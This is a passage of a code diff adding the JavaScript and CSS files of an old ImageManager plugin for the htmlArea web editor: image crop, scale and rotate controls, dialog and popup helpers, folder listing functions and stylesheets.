+ jg_doc.fillRectPattern(pic_x,ay+ah,pic_width,pic_height+pic_y-ay-ah,pattern);
+ }
+ else if(mode == "scale") {
+ //alert("Resizing: iw:"+image.width+" nw:"+aw);
+ document.theImage.height = ah;
+ document.theImage.width = aw;
+ document.theImage.style.height = ah+" px";
+ document.theImage.style.width = aw+" px";
+
+ P7_Snap('theImage','ant',0,0);
+
+ //alert("After Resizing: iw:"+image.width+" nw:"+aw);
+ }
+
+ drawBoundHandle();
+ jg_doc.paint();
+
+ showStatus();
+ return false;
+}
+
+document.onmousedown=drags
+document.onmouseup=dragStopped;
+
--- /dev/null
+.icons {
+ font: 11px Tahoma,Verdana,sans-serif;
+ color: #666699;
+ text-align: center;
+ text-decoration: none;
+ border: 1px solid #EEEEFF;
+ -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+
+body, td, p {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+.iconsOver {
+ font: 11px Tahoma,Verdana,sans-serif;
+ color: #666699;
+ text-align: center;
+ text-decoration: none;
+ background-color: #F9F9FF;
+ border: 1px solid #666699;
+ -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+.topBar {
+ font: 11px Tahoma,Verdana,sans-serif;
+ color: #666699;
+}
+.iconsSel {
+ font: 11px Tahoma,Verdana,sans-serif;
+ color: #666699;
+ text-align: center;
+ text-decoration: none;
+ border: 1px solid #666699;
+ -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+.iconText {
+ font: 11px Tahoma,Verdana,sans-serif;
+ color: #666699;
+ text-decoration: none;
+ text-align: center;
+}
+.measureStats{
+ width: 50px;
+}
+
+#slidercasing {
+ /*border:1px solid #CCCCCC;
+ background-color:#FFFFFF;*/
+ width:100px;
+ height:5px;
+ position:relative;
+ z-index:4;
+ padding:10px;
+}
+
+
+#slidertrack {
+ position:relative;
+ border:1px solid #CCCCCC;
+ background-color:#FFFFCC;
+ z-index:5;
+ height:5px;
+}
+
+
+#sliderbar {
+ position:absolute;
+ z-index:6;
+ border:1px solid #CCCCCC;
+ background-color:#DDDDDD;
+ width:15px;
+ padding:0px;
+ height:20px;
+ cursor: pointer;
+ top:2px;
+}
+
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
--- /dev/null
+// Dialog v3.0 - Copyright (c) 2003-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+// http://dynarch.com/mishoo
+//
+// $Id: dialog.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+// Though "Dialog" looks like an object, it isn't really an object. Instead
+// it's just namespace for protecting global symbols.
+
+function Dialog(url, action, init) {
+ if (typeof init == "undefined") {
+ init = window; // pass this window object by default
+ }
+ Dialog._geckoOpenModal(url, action, init);
+};
+
+Dialog._parentEvent = function(ev) {
+ setTimeout( function() { if (Dialog._modal && !Dialog._modal.closed) { Dialog._modal.focus() } }, 50);
+ if (Dialog._modal && !Dialog._modal.closed) {
+ Dialog._stopEvent(ev);
+ }
+};
+
+
+// should be a function, the return handler of the currently opened dialog.
+Dialog._return = null;
+
+// constant, the currently opened dialog
+Dialog._modal = null;
+
+// the dialog will read it's args from this variable
+Dialog._arguments = null;
+
+Dialog._geckoOpenModal = function(url, action, init) {
+ //var urlLink = "hadialog"+url.toString();
+ var myURL = "hadialog"+url;
+ var regObj = /\W/g;
+ myURL = myURL.replace(regObj,'_');
+ var dlg = window.open(url, myURL,
+ "toolbar=no,menubar=no,personalbar=no,width=10,height=10," +
+ "scrollbars=no,resizable=yes,modal=yes,dependable=yes");
+ Dialog._modal = dlg;
+ Dialog._arguments = init;
+
+ // capture some window's events
+ function capwin(w) {
+ Dialog._addEvent(w, "click", Dialog._parentEvent);
+ Dialog._addEvent(w, "mousedown", Dialog._parentEvent);
+ Dialog._addEvent(w, "focus", Dialog._parentEvent);
+ };
+ // release the captured events
+ function relwin(w) {
+ Dialog._removeEvent(w, "click", Dialog._parentEvent);
+ Dialog._removeEvent(w, "mousedown", Dialog._parentEvent);
+ Dialog._removeEvent(w, "focus", Dialog._parentEvent);
+ };
+ capwin(window);
+ // capture other frames
+ for (var i = 0; i < window.frames.length; capwin(window.frames[i++]));
+ // make up a function to be called when the Dialog ends.
+ Dialog._return = function (val) {
+ if (val && action) {
+ action(val);
+ }
+ relwin(window);
+ // capture other frames
+ for (var i = 0; i < window.frames.length; relwin(window.frames[i++]));
+ Dialog._modal = null;
+ };
+};
+
+
+// event handling
+
+Dialog._addEvent = function(el, evname, func) {
+ if (Dialog.is_ie) {
+ el.attachEvent("on" + evname, func);
+ } else {
+ el.addEventListener(evname, func, true);
+ }
+};
+
+
+Dialog._removeEvent = function(el, evname, func) {
+ if (Dialog.is_ie) {
+ el.detachEvent("on" + evname, func);
+ } else {
+ el.removeEventListener(evname, func, true);
+ }
+};
+
+
+Dialog._stopEvent = function(ev) {
+ if (Dialog.is_ie) {
+ ev.cancelBubble = true;
+ ev.returnValue = false;
+ } else {
+ ev.preventDefault();
+ ev.stopPropagation();
+ }
+};
+
+Dialog.agt = navigator.userAgent.toLowerCase();
+Dialog.is_ie = ((Dialog.agt.indexOf("msie") != -1) && (Dialog.agt.indexOf("opera") == -1));
--- /dev/null
+ body
+ {
+ margin: 0; padding: 0;
+ font: 11px Tahoma,Verdana,sans-serif;
+ }
+ select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+
+ #indicator
+ {
+ width: 25px;
+ height: 20px;
+ background-color: #eef;
+ padding: 15px 20px;
+ position: absolute;
+ left: 0; top: 0;
+ }
+ * html #indicator
+ {
+ padding: 14px 22px;
+ }
+ #tools
+ {
+ width: 600px;
+ height: 50px;
+ background-color: #eef;
+ padding: 0;
+ position: absolute;
+ left: 63px;
+ border-left: 1px solid white;
+ border-bottom: 1px solid white;
+ }
+ #toolbar
+ {
+ width: 53px;
+ height: 435px;
+ background-color: #eef;
+ float: left;
+ text-align: center;
+ padding: 5px;
+ position: absolute;
+ top: 50px;
+ border-top: 1px solid white;
+ border-right: 1px solid white;
+ }
+
+ #contents
+ {
+ width: 600px;
+ height: 445px;
+ position: absolute;
+ left: 64px; top: 51px;
+ }
+
+ #editor
+ {
+ width: 600px;
+ height: 445px;
+ }
+
+ #toolbar a
+ {
+ padding: 5px;
+ width: 40px;
+ display: block;
+ border: 1px solid #eef;
+ text-align: center;
+ text-decoration: none;
+ color: #669;
+ margin: 5px 0;
+ }
+ #toolbar a:hover
+ {
+ background-color: #F9F9FF;
+ border-color: #669;
+ }
+
+ #toolbar a.iconActive
+ {
+ border-color: #669;
+ }
+
+ #toolbar a span
+ {
+ display: block;
+ text-decoration: none;
+
+ }
+ #toolbar a img
+ {
+ border: 0 none;
+ }
+
+ #tools .textInput
+ {
+ width: 3em;
+ vertical-align: 0px;
+
+ }
+ * html #tools .textInput
+ {
+ vertical-align: middle;
+ }
+ #tools .measureStats
+ {
+ width: 4.5em;
+ border: 0 none;
+ background-color: #eef;
+ vertical-align: 0px;
+ }
+ * html #tools .measureStats
+ {
+ vertical-align: middle;
+ }
+ #tools label
+ {
+ margin: 0 2px 0 5px;
+ }
+ #tools input
+ {
+ vertical-align: middle;
+ }
+ #tools #tool_inputs
+ {
+ padding-top: 10px;
+ float: left;
+ }
+ #tools .div
+ {
+ vertical-align: middle;
+ margin: 0 5px;
+ }
+ #tools img
+ {
+ border: 0 none;
+ }
+ #tools a.buttons
+ {
+ margin-top: 10px;
+ border: 1px solid #eef;
+ display: block;
+ float: left;
+ }
+ #tools a.buttons:hover
+ {
+ background-color: #F9F9FF;
+ border-color: #669;
+ }
+ #slidercasing {
+ /*border:1px solid #CCCCCC;
+ background-color:#FFFFFF;*/
+ width:100px;
+ height:5px;
+ position:relative;
+ z-index:4;
+ padding:10px;
+ top: 6px;
+ margin: 0 -5px 0 -10px;
+
+
+}
+
+
+#slidertrack {
+ position:relative;
+ border:1px solid #CCCCCC;
+ background-color:#FFFFCC;
+ z-index:5;
+ height:5px;
+}
+
+
+#sliderbar {
+ position:absolute;
+ z-index:6;
+ border:1px solid #CCCCCC;
+ background-color:#DDDDDD;
+ width:15px;
+ padding:0px;
+ height:20px;
+ cursor: pointer;
+ top:2px;
+}
+
+* html #slidercasing
+{
+ top:0;
+}
+
+
+#bottom
+{
+ position: relative;
+ top: 490px;
+}
--- /dev/null
+/**
+ * Functions for the ImageEditor interface, used by editor.php only
+ * @author $Author: cscott $
+ * @version $Id: editor.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+ var current_action = null;
+ var actions = ['crop', 'scale', 'rotate', 'measure', 'save'];
+ var orginal_width = null, orginal_height=null;
+ function toggle(action)
+ {
+ if(current_action != action)
+ {
+
+ for (var i in actions)
+ {
+ if(actions[i] != action)
+ {
+ var tools = document.getElementById('tools_'+actions[i]);
+ tools.style.display = 'none';
+ var icon = document.getElementById('icon_'+actions[i]);
+ icon.className = '';
+ }
+ }
+
+ current_action = action;
+
+ var tools = document.getElementById('tools_'+action);
+ tools.style.display = 'block';
+ var icon = document.getElementById('icon_'+action);
+ icon.className = 'iconActive';
+
+ var indicator = document.getElementById('indicator_image');
+ indicator.src = 'img/'+action+'.gif';
+
+ editor.setMode(current_action);
+
+ //constraints on the scale,
+ //code by Frédéric Klee <fklee@isuisse.com>
+ if(action == 'scale')
+ {
+ var theImage = editor.window.document.getElementById('theImage');
+ orginal_width = theImage.width ;
+ orginal_height = theImage.height;
+
+ var w = document.getElementById('sw');
+ w.value = orginal_width ;
+ var h = document.getElementById('sh') ;
+ h.value = orginal_height ;
+ }
+
+ }
+ }
+
+ function toggleMarker()
+ {
+ var marker = document.getElementById("markerImg");
+
+ if(marker != null && marker.src != null) {
+ if(marker.src.indexOf("t_black.gif") >= 0)
+ marker.src = "img/t_white.gif";
+ else
+ marker.src = "img/t_black.gif";
+
+ editor.toggleMarker();
+ }
+ }
+
+ //Togggle constraints, by Frédéric Klee <fklee@isuisse.com>
+ function toggleConstraints()
+ {
+ var lock = document.getElementById("scaleConstImg");
+ var checkbox = document.getElementById("constProp");
+
+ if(lock != null && lock.src != null) {
+ if(lock.src.indexOf("unlocked2.gif") >= 0)
+ {
+ lock.src = "img/islocked2.gif";
+ checkbox.checked = true;
+ checkConstrains('width');
+
+ }
+ else
+ {
+ lock.src = "img/unlocked2.gif";
+ checkbox.checked = false;
+ }
+ }
+ }
+
+ //check the constraints, by Frédéric Klee <fklee@isuisse.com>
+ function checkConstrains(changed)
+ {
+ var constrained = document.getElementById('constProp');
+ if(constrained.checked)
+ {
+ var w = document.getElementById('sw') ;
+ var width = w.value ;
+ var h = document.getElementById('sh') ;
+ var height = h.value ;
+
+ if(orginal_width > 0 && orginal_height > 0)
+ {
+ if(changed == 'width' && width > 0)
+ h.value = parseInt((width/orginal_width)*orginal_height);
+ else if(changed == 'height' && height > 0)
+ w.value = parseInt((height/orginal_height)*orginal_width);
+ }
+ }
+
+ updateMarker('scale') ;
+ }
+
+
+ function updateMarker(mode)
+ {
+ if (mode == 'crop')
+ {
+ var t_cx = document.getElementById('cx');
+ var t_cy = document.getElementById('cy');
+ var t_cw = document.getElementById('cw');
+ var t_ch = document.getElementById('ch');
+
+ editor.setMarker(parseInt(t_cx.value), parseInt(t_cy.value), parseInt(t_cw.value), parseInt(t_ch.value));
+ }
+ else if(mode == 'scale') {
+ var s_sw = document.getElementById('sw');
+ var s_sh = document.getElementById('sh');
+ editor.setMarker(0, 0, parseInt(s_sw.value), parseInt(s_sh.value));
+ }
+ }
+
+
+ function rotatePreset(selection)
+ {
+ var value = selection.options[selection.selectedIndex].value;
+
+ if(value.length > 0 && parseInt(value) != 0) {
+ var ra = document.getElementById('ra');
+ ra.value = parseInt(value);
+ }
+ }
+
+ function updateFormat(selection)
+ {
+ var selected = selection.options[selection.selectedIndex].value;
+
+ var values = selected.split(",");
+ if(values.length >1) {
+ updateSlider(parseInt(values[1]));
+ }
+
+ }
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+
+ init = function()
+ {
+ var bottom = document.getElementById('bottom');
+ if(window.opener)
+ {
+ __dlg_init(bottom);
+ __dlg_translate(I18N);
+ }
+ }
+
+ addEvent(window, 'load', init);
\ No newline at end of file
--- /dev/null
+body { margin: 0; padding: 0; background-color: #eee; }
+table { width: 100%; }
+table td { text-align: center; }
+.crop{cursor:crosshair;}
+.selection { border: dotted 1px #000000; position:absolute; width: 0px; height: 1px; z-index:5; }
+.selectionWhite{ border: dotted 1px #FFFFFF; position:absolute; width: 0px; height: 1px; z-index:5; }
+.handleBox{ z-index:105; }
+.error { font-size:large; font-weight:bold; color:#c00; font-family: Helvetica, sans-serif; }
\ No newline at end of file
--- /dev/null
+/**
+ * Javascript used by the editorFrame.php, it basically initializes the frame.
+ * @author $Author: cscott $
+ * @version $Id: editorFrame.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+var topDoc = window.top.document;
+
+var t_cx = topDoc.getElementById('cx');
+var t_cy = topDoc.getElementById('cy');
+var t_cw = topDoc.getElementById('cw');
+var t_ch = topDoc.getElementById('ch');
+
+var m_sx = topDoc.getElementById('sx');
+var m_sy = topDoc.getElementById('sy');
+var m_w = topDoc.getElementById('mw');
+var m_h = topDoc.getElementById('mh');
+var m_a = topDoc.getElementById('ma');
+var m_d = topDoc.getElementById('md');
+
+var s_sw = topDoc.getElementById('sw');
+var s_sh = topDoc.getElementById('sh');
+
+var r_ra = topDoc.getElementById('ra');
+
+var pattern = "img/2x2.gif";
+
+function doSubmit(action)
+{
+ if (action == 'crop')
+ {
+ var url = "editorFrame.php?img="+currentImageFile+"&action=crop¶ms="+parseInt(t_cx.value)+','+parseInt(t_cy.value)+','+ parseInt(t_cw.value)+','+parseInt(t_ch.value);
+
+ //alert(url);
+ location.href = url;
+
+ //location.reload();
+ }
+ else if (action == 'scale')
+ {
+ var url = "editorFrame.php?img="+currentImageFile+"&action=scale¶ms="+parseInt(s_sw.value)+','+parseInt(s_sh.value);
+ //alert(url);
+ location.href = url;
+
+ }
+ else if (action == 'rotate')
+ {
+ var flip = topDoc.getElementById('flip');
+
+ if(flip.value == 'hoz' || flip.value == 'ver')
+ location.href = "editorFrame.php?img="+currentImageFile+"&action=flip¶ms="+flip.value;
+ else if (isNaN(parseFloat(r_ra.value))==false)
+ location.href = "editorFrame.php?img="+currentImageFile+"&action=rotate¶ms="+parseFloat(r_ra.value);
+ }
+ else if(action == 'save') {
+ var s_file = topDoc.getElementById('save_filename');
+ var s_format = topDoc.getElementById('save_format');
+ var s_quality = topDoc.getElementById('quality');
+
+ var format = s_format.value.split(",");
+ if(s_file.value.length <= 0)
+ {
+ alert(i18n('Please enter a filename to save.'));
+ }
+ else
+ {
+ var filename = encodeURI(s_file.value);
+ var quality = parseInt(s_quality.value);
+ var url = "editorFrame.php?img="+currentImageFile+"&action=save¶ms="+format[0]+","+quality+"&file="+filename;
+ //alert(url);
+ location.href = url;
+ }
+ }
+}
+
+
+function addEvent(obj, evType, fn)
+{
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+}
+
+var jg_doc
+
+init = function()
+{
+ jg_doc = new jsGraphics("imgCanvas"); // draw directly into document
+ jg_doc.setColor("#000000"); // black
+
+ initEditor();
+}
+
+addEvent(window, 'load', init);
+
--- /dev/null
+<attach event="onmouseover" handler="hoverRollOver" />
+<attach event="onmouseout" handler="hoverRollOff" />
+<script type="text/javascript">
+//
+// Simple behaviour for IE5+ to emulate :hover CSS pseudo-class.
+// Experimental ver 0.1
+//
+// This is an experimental version! Handle with care!
+// Manual at: http://www.hszk.bme.hu/~hj130/css/list_menu/hover/
+//
+
+function hoverRollOver() {
+
+ element.origClassName = element.className; // backup origonal className
+
+ var tempClassStr = element.className;
+
+ tempClassStr += "Hover"; // convert name+'Hover' the last class name to emulate tag.class:hover
+
+ tempClassStr = tempClassStr.replace(/\s/g,"Hover "); //convert name+'Hover' the others to emulate tag.class:hover
+
+ tempClassStr += " hover"; // add simple 'hover' class name to emulate tag:hover
+
+ element.className = element.className + " " + tempClassStr;
+
+ //alert(element.className);
+ //window.status = element.className; // only for TEST
+}
+function hoverRollOff() {
+ element.className = element.origClassName;
+}
+
+</script>
+
--- /dev/null
+body { margin: 0; padding: 0; }
+.block { height: 98px; width: 98px; border: 1px solid threedface; text-align: center; behavior: url(hover.htc ); }
+.block a img { border: 0 none; }
+.block:hover, .block.hover{ background-color: #ffc; }
+.edit { font-size: 9pt; font-family: "MS Sans Serif", Geneva, sans-serif; padding-top: 3px;}
+.edit a { border: 1px solid white; padding: 3px; }
+.edit a:hover { border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; background-color: #ffc; }
+.edit a img { border: 0 none; vertical-align: bottom; }
+.noResult { font-size:large; font-weight:bold; color:#ccc; font-family: Helvetica, sans-serif; text-align: center; padding-top: 60px; }
+.error { color:#c00; font-weight:bold; font-size: medium; font-family: Helvetica, sans-serif; text-align: center; padding-top: 65px;}
\ No newline at end of file
--- /dev/null
+/**
+ * Functions for the image listing, used by images.php only
+ * @author $Author: cscott $
+ * @version $Id: images.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+ function i18n(str) {
+ if(I18N)
+ return (I18N[str] || str);
+ else
+ return str;
+ };
+
+ function changeDir(newDir)
+ {
+ showMessage('Loading');
+ location.href = "images.php?dir="+newDir;
+ }
+
+
+ function newFolder(dir, newDir)
+ {
+ location.href = "images.php?dir="+dir+"&newDir="+newDir;
+ }
+
+ //update the dir list in the parent window.
+ function updateDir(newDir)
+ {
+ var selection = window.top.document.getElementById('dirPath');
+ if(selection)
+ {
+ for(var i = 0; i < selection.length; i++)
+ {
+ var thisDir = selection.options[i].text;
+ if(thisDir == newDir)
+ {
+ selection.selectedIndex = i;
+ showMessage('Loading');
+ break;
+ }
+ }
+ }
+ }
+
+ function selectImage(filename, alt, width, height)
+ {
+ var topDoc = window.top.document;
+
+ var obj = topDoc.getElementById('f_url'); obj.value = filename;
+ var obj = topDoc.getElementById('f_width'); obj.value = width;
+ var obj = topDoc.getElementById('f_width'); obj.value = width;
+ var obj = topDoc.getElementById('f_height'); obj.value = height;
+ var obj = topDoc.getElementById('f_alt'); obj.value = alt;
+ var obj = topDoc.getElementById('orginal_width'); obj.value = width;
+ var obj = topDoc.getElementById('orginal_height'); obj.value = height;
+ }
+
+ function showMessage(newMessage)
+ {
+ var topDoc = window.top.document;
+
+ var message = topDoc.getElementById('message');
+ var messages = topDoc.getElementById('messages');
+ if(message && messages)
+ {
+ if(message.firstChild)
+ message.removeChild(message.firstChild);
+
+ message.appendChild(topDoc.createTextNode(i18n(newMessage)));
+
+ messages.style.display = "block";
+ }
+ }
+
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+
+ function confirmDeleteFile(file)
+ {
+ if(confirm(i18n("Delete file?")))
+ return true;
+
+ return false;
+ }
+
+ function confirmDeleteDir(dir, count)
+ {
+ if(count > 0)
+ {
+ alert(i18n("Please delete all files/folders inside the folder you wish to delete first."));
+ return;
+ }
+
+ if(confirm(i18n("Delete folder?")))
+ return true;
+
+ return false;
+ }
+
+ addEvent(window, 'load', init);
\ No newline at end of file
--- /dev/null
+html, body { background-color: ButtonFace; color: ButtonText; font: 11px Tahoma,Verdana,sans-serif; margin: 0; padding: 0;}
+body { padding: 5px; }
+fieldset { padding: 0;}
+.title { background-color: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px; border-bottom: 1px solid black; letter-spacing: 2px;}
+form { padding: 0px; margin: 0 auto; width: 550px;}
+.dirWidth { width: 70%; }
+a { padding: 5px; border: 1px solid ButtonFace; }
+a img { border: 0; }
+a:hover { border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; }
+.dirs { padding: 1em; }
+.imageFrame { width: 525px; height: 145px; margin: 0 auto; margin-top: 1em; background-color: White;}
+.smallWidth{ width: 4em; }
+.largelWidth{ width: 22em; }
+.inputTable { margin: 1em auto; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+.buttons { width: 70px; text-align: center; }
+.clearboth{ clear: both; }
+#messages { position: relative; left: 175px; top: 115px; background-color: white; width:200px; float: left; margin-top: -52px; border: 1px solid #ccc; text-align: center; padding: 15px; }
+#message { font-size: 15px; font-weight: bold; color: #69c; }
--- /dev/null
+/**
+ * Functions for the ImageManager, used by manager.php only
+ * @author $Author: cscott $
+ * @version $Id: manager.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+ //Translation
+ function i18n(str) {
+ if(I18N)
+ return (I18N[str] || str);
+ else
+ return str;
+ };
+
+
+ //set the alignment options
+ function setAlign(align)
+ {
+ var selection = document.getElementById('f_align');
+ for(var i = 0; i < selection.length; i++)
+ {
+ if(selection.options[i].value == align)
+ {
+ selection.selectedIndex = i;
+ break;
+ }
+ }
+ }
+
+ //initialise the form
+ init = function ()
+ {
+ __dlg_init();
+
+ if(I18N)
+ __dlg_translate(I18N);
+
+ var uploadForm = document.getElementById('uploadForm');
+ if(uploadForm) uploadForm.target = 'imgManager';
+
+ var param = window.dialogArguments;
+ if (param)
+ {
+ document.getElementById("f_url").value = param["f_url"];
+ document.getElementById("f_alt").value = param["f_alt"];
+ document.getElementById("f_border").value = param["f_border"];
+ document.getElementById("f_vert").value = param["f_vert"];
+ document.getElementById("f_horiz").value = param["f_horiz"];
+ document.getElementById("f_width").value = param["f_width"];
+ document.getElementById("f_height").value = param["f_height"];
+ setAlign(param["f_align"]);
+ }
+
+ document.getElementById("f_url").focus();
+ }
+
+
+ function onCancel()
+ {
+ __dlg_close(null);
+ return false;
+ };
+
+ function onOK()
+ {
+ // pass data back to the calling window
+ var fields = ["f_url", "f_alt", "f_align", "f_border", "f_horiz", "f_vert", "f_height", "f_width"];
+ var param = new Object();
+ for (var i in fields)
+ {
+ var id = fields[i];
+ var el = document.getElementById(id);
+ if(id == "f_url" && el.value.indexOf('://') < 0 )
+ param[id] = makeURL(base_url,el.value);
+ else
+ param[id] = el.value;
+ }
+ __dlg_close(param);
+ return false;
+ };
+
+ //similar to the Files::makeFile() in Files.php
+ function makeURL(pathA, pathB)
+ {
+ if(pathA.substring(pathA.length-1) != '/')
+ pathA += '/';
+
+ if(pathB.charAt(0) == '/');
+ pathB = pathB.substring(1);
+
+ return pathA+pathB;
+ }
+
+
+ function updateDir(selection)
+ {
+ var newDir = selection.options[selection.selectedIndex].value;
+ changeDir(newDir);
+ }
+
+ function goUpDir()
+ {
+ var selection = document.getElementById('dirPath');
+ var currentDir = selection.options[selection.selectedIndex].text;
+ if(currentDir.length < 2)
+ return false;
+ var dirs = currentDir.split('/');
+
+ var search = '';
+
+ for(var i = 0; i < dirs.length - 2; i++)
+ {
+ search += dirs[i]+'/';
+ }
+
+ for(var i = 0; i < selection.length; i++)
+ {
+ var thisDir = selection.options[i].text;
+ if(thisDir == search)
+ {
+ selection.selectedIndex = i;
+ var newDir = selection.options[i].value;
+ changeDir(newDir);
+ break;
+ }
+ }
+ }
+
+ function changeDir(newDir)
+ {
+ if(typeof imgManager != 'undefined')
+ imgManager.changeDir(newDir);
+ }
+
+ function toggleConstrains(constrains)
+ {
+ var lockImage = document.getElementById('imgLock');
+ var constrains = document.getElementById('constrain_prop');
+
+ if(constrains.checked)
+ {
+ lockImage.src = "img/locked.gif";
+ checkConstrains('width')
+ }
+ else
+ {
+ lockImage.src = "img/unlocked.gif";
+ }
+ }
+
+ function checkConstrains(changed)
+ {
+ //alert(document.form1.constrain_prop);
+ var constrains = document.getElementById('constrain_prop');
+
+ if(constrains.checked)
+ {
+ var obj = document.getElementById('orginal_width');
+ var orginal_width = parseInt(obj.value);
+ var obj = document.getElementById('orginal_height');
+ var orginal_height = parseInt(obj.value);
+
+ var widthObj = document.getElementById('f_width');
+ var heightObj = document.getElementById('f_height');
+
+ var width = parseInt(widthObj.value);
+ var height = parseInt(heightObj.value);
+
+ if(orginal_width > 0 && orginal_height > 0)
+ {
+ if(changed == 'width' && width > 0) {
+ heightObj.value = parseInt((width/orginal_width)*orginal_height);
+ }
+
+ if(changed == 'height' && height > 0) {
+ widthObj.value = parseInt((height/orginal_height)*orginal_width);
+ }
+ }
+ }
+ }
+
+ function showMessage(newMessage)
+ {
+ var message = document.getElementById('message');
+ var messages = document.getElementById('messages');
+ if(message.firstChild)
+ message.removeChild(message.firstChild);
+
+ message.appendChild(document.createTextNode(i18n(newMessage)));
+
+ messages.style.display = "block";
+ }
+
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+
+ function doUpload()
+ {
+
+ var uploadForm = document.getElementById('uploadForm');
+ if(uploadForm)
+ showMessage('Uploading');
+ }
+
+ function refresh()
+ {
+ var selection = document.getElementById('dirPath');
+ updateDir(selection);
+ }
+
+
+ function newFolder()
+ {
+ var selection = document.getElementById('dirPath');
+ var dir = selection.options[selection.selectedIndex].value;
+
+ Dialog("newFolder.html", function(param)
+ {
+ if (!param) // user must have pressed Cancel
+ return false;
+ else
+ {
+ var folder = param['f_foldername'];
+ if(folder == thumbdir)
+ {
+ alert(i18n('Invalid folder name, please choose another folder name.'));
+ return false;
+ }
+
+ if (folder && folder != '' && typeof imgManager != 'undefined')
+ imgManager.newFolder(dir, encodeURI(folder));
+ }
+ }, null);
+ }
+
+ addEvent(window, 'load', init);
--- /dev/null
+// htmlArea v3.0 - Copyright (c) 2002, 2003 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+// http://dynarch.com/mishoo
+//
+// $Id: popup.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+// Slightly modified for the ImageManager, window resizing is done only
+// by each window's script. Added translation for a few other HTML elements.
+
+function getAbsolutePos(el) {
+ var r = { x: el.offsetLeft, y: el.offsetTop };
+ if (el.offsetParent) {
+ var tmp = getAbsolutePos(el.offsetParent);
+ r.x += tmp.x;
+ r.y += tmp.y;
+ }
+ return r;
+};
+
+function comboSelectValue(c, val) {
+ var ops = c.getElementsByTagName("option");
+ for (var i = ops.length; --i >= 0;) {
+ var op = ops[i];
+ op.selected = (op.value == val);
+ }
+ c.value = val;
+};
+
+function __dlg_onclose() {
+ if(opener.Dialog._return)
+ opener.Dialog._return(null);
+};
+
+function __dlg_init(bottom) {
+ var body = document.body;
+ var body_height = 0;
+ if (typeof bottom == "undefined") {
+ var div = document.createElement("div");
+ body.appendChild(div);
+ var pos = getAbsolutePos(div);
+ body_height = pos.y;
+ } else {
+ var pos = getAbsolutePos(bottom);
+ body_height = pos.y + bottom.offsetHeight;
+ }
+ if(opener && opener.Dialog && opener.Dialog._arguments)
+ window.dialogArguments = opener.Dialog._arguments;
+ if (!document.all) {
+ //window.sizeToContent();
+ //window.sizeToContent(); // for reasons beyond understanding,
+ // only if we call it twice we get the
+ // correct size.
+ window.addEventListener("unload", __dlg_onclose, true);
+ // center on parent
+ var x = opener.screenX + (opener.outerWidth - window.outerWidth) / 2;
+ var y = opener.screenY + (opener.outerHeight - window.outerHeight) / 2;
+ window.moveTo(x, y);
+ //window.innerWidth = body.offsetWidth + 5;
+ //window.innerHeight = body_height + 2;
+ } else {
+ // window.dialogHeight = body.offsetHeight + 50 + "px";
+ // window.dialogWidth = body.offsetWidth + "px";
+ //window.resizeTo(body.offsetWidth, body_height);
+ var ch = body.clientHeight;
+ var cw = body.clientWidth;
+ //window.resizeBy(body.offsetWidth - cw, body_height - ch);
+ var W = body.offsetWidth;
+ var H = 2 * body_height - ch;
+ if(ch <= 0) H = body_height;
+ var x = (screen.availWidth - W) / 2;
+ var y = (screen.availHeight - H) / 2;
+
+ window.moveTo(x, y);
+ }
+ document.body.onkeypress = __dlg_close_on_esc;
+};
+
+function __dlg_translate(i18n) {
+ var types = ["span", "option", "td", "button", "div", "label", "a","img", "legend"];
+ for (var type in types) {
+ var spans = document.getElementsByTagName(types[type]);
+ for (var i = spans.length; --i >= 0;) {
+ var span = spans[i];
+ if (span.firstChild && span.firstChild.data) {
+ var txt = i18n[span.firstChild.data];
+ if (txt) span.firstChild.data = txt;
+ }
+ if(span.title){
+ var txt = i18n[span.title];
+ if(txt) span.title = txt;
+ }
+ if(span.alt){
+ var txt = i18n[span.alt];
+ if(txt) span.alt = txt;
+ }
+ }
+ }
+ var txt = i18n[document.title];
+ if (txt)
+ document.title = txt;
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+ opener.Dialog._return(val);
+ window.close();
+};
+
+function __dlg_close_on_esc(ev) {
+ ev || (ev = window.event);
+ if (ev.keyCode == 27) {
+ window.close();
+ return false;
+ }
+ return true;
+};
--- /dev/null
+/***********************************************************************
+** Title.........: Simple Lite Slider for Image Editor
